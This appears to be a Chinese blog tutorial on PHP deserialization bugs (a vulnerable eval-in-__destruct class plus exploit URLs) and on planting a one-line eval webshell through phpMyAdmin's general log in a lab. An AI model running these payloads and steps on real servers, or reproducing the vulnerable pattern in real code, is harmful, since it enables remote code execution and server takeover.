反序列化漏洞_反序列化漏洞

定义:序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信。

序列化

下面将进行序列号测试,了解他如何把对象变成可以传输的字符串,在apache上新建下面这段代码然后访问

 <?php class Stu{public $name;public $sex;public $age;public $score;}$stu1 = new Stu();$stu1 ->name = "kobe";$stu1 ->sex = true;$stu1 ->age = 16;$stu1 ->score = 60;echo serialize($stu1);?>页面输出如下:O:3:"Stu":4:{s:4:"name";s:4:"kobe";s:3:"sex";b:1;s:3:"age";i:16;s:5:"score";i:60;}O代表object,3代表"Stu"的长度也就是class的长度为3,s代表string类型,第一个分号(;)代表的是属性的名字,第二个分号(;)代表的是属性的值,b代表bool类型,i表示int类型。

反序列化

 <?php class Stu{public $name;public $sex;public $age;public $score;}$stu1 = new Stu();$stu1 ->name = "kobe";$stu1 ->sex = true;$stu1 ->age = 16;$stu1 ->score = 60;echo "";echo serialize($stu1);$str = <<O:3:"Stu":4:{s:4:"name";s:4:"kobe";s:3:"sex";b:1;s:3:"age";i:16;s:5:"score";i:60;}HTML;echo "";var_dump(unserialize($str));?>以下就是反序列化的输出内容object(Stu)#2 (4) { ["name"]=> string(4) "kobe" ["sex"]=> bool(true) ["age"]=> int(16) ["score"]=> int(60) }

e06a67397d0523a1938b63ba4eaee2da.png


反序列化漏洞

 <?php class Test{public $str='kobe';function __destruct(){        @eval($this->str);}}$test = new Test();echo serialize($test);echo "";//$t = serialize($test);$t = $_GET['obj'];var_dump(unserialize($t));?>
 eval(phpcode)

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

3f7cbe1486811a0c38ba1a0d1b21a683.png

 当我们输入如下的链接时,页面成功反序列化http://192.168.1.132/PHP/class/ldong.php?obj=O:4:"Test":1:{s:3:"str";s:6:"kobes;";}输出如下object(Test)#2 (1) { ["str"]=> string(6) "kobes;" } 
 当我们输入如下的链接时,页面成功访问了phpinfohttp://192.168.1.132/PHP/class/ldong.php?obj=O:4:"Test":1:{s:3:"str";s:10:"phpinfo();";}通过代码审计,我们发现在代码层面并没有调用到eval函数,事实上当销毁实例化类(对象)的时候,__destrutc() 函数会被自动调用,并且输出字符串[ This is funtion --destrutc() ],调用GET请求,反序列化成功。$t = $_GET['obj'];var_dump(unserialize($t));__construct   在创建对象时自动调用__destruct      在销毁对象时自动调用__call()        在对象中调用一个不可访问方法时被调用

235d3e9674c56147e5c816a51bf026f7.png


phpmyadmin通过日志写入一句话

环境准备

phpstudy2018

虚拟机win2k3

渗透思路

phpmyadmin有日志记录功能,如果我们把日志记录开启,并且把一句话木马在sql界面输入,让日志把木马写入到loudong-PC.log文件里。

但是这个路径下的文件无法解析一句话木马,所以我们要把记录日志文件的路径改变,改到他发布网页的路径下(通过phpinfo.php网页下的document_root参数就是网页发布的绝对路径),一般为www下的子文件夹,把.log文件修改为php文件进行解析.

渗透步骤

一、判断日志是否开启

通过web登录phpmyadmin,查看日志记录功能是否开启,sql界面输入命令:show global variables like '%general%';   查看日志记录是否开启。

general_log_file是日志的保存路径C:\phpStudy_PRO\PHPTutorial\MySQL\data\loudong-PC.log

8b67fdf7db4967b7de9f4a1befd93860.png

二、开启日志记录

sql框输入命令:set global general ='on';,成功开启日志记录。

把日志记录的路径改为WWW下的xshell.php文件,输入以下命令

set global general_log_file = 'C:/phpStudy_PRO/PHPTutorial/WWW/xshell.php'

1dc5ab8a0836761cf06548decce34558.png

如上图所示,成功改变了日志记录的位置和文件名。

三、写入一句话木马

在sql输入框输入以下代码

select '<?php eval($_POST["admin"]);?>';

通过查询发现已经成功把一句话木马写入xshell.php,

cf967cda014849e61e99a0ff5fbb063b.png

下面认证是否能成功执行一句话木马,然后用蚁剑或者中国菜刀进行连接一句话木马

4403b998d93a181f0c1fc7edb5098c11.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值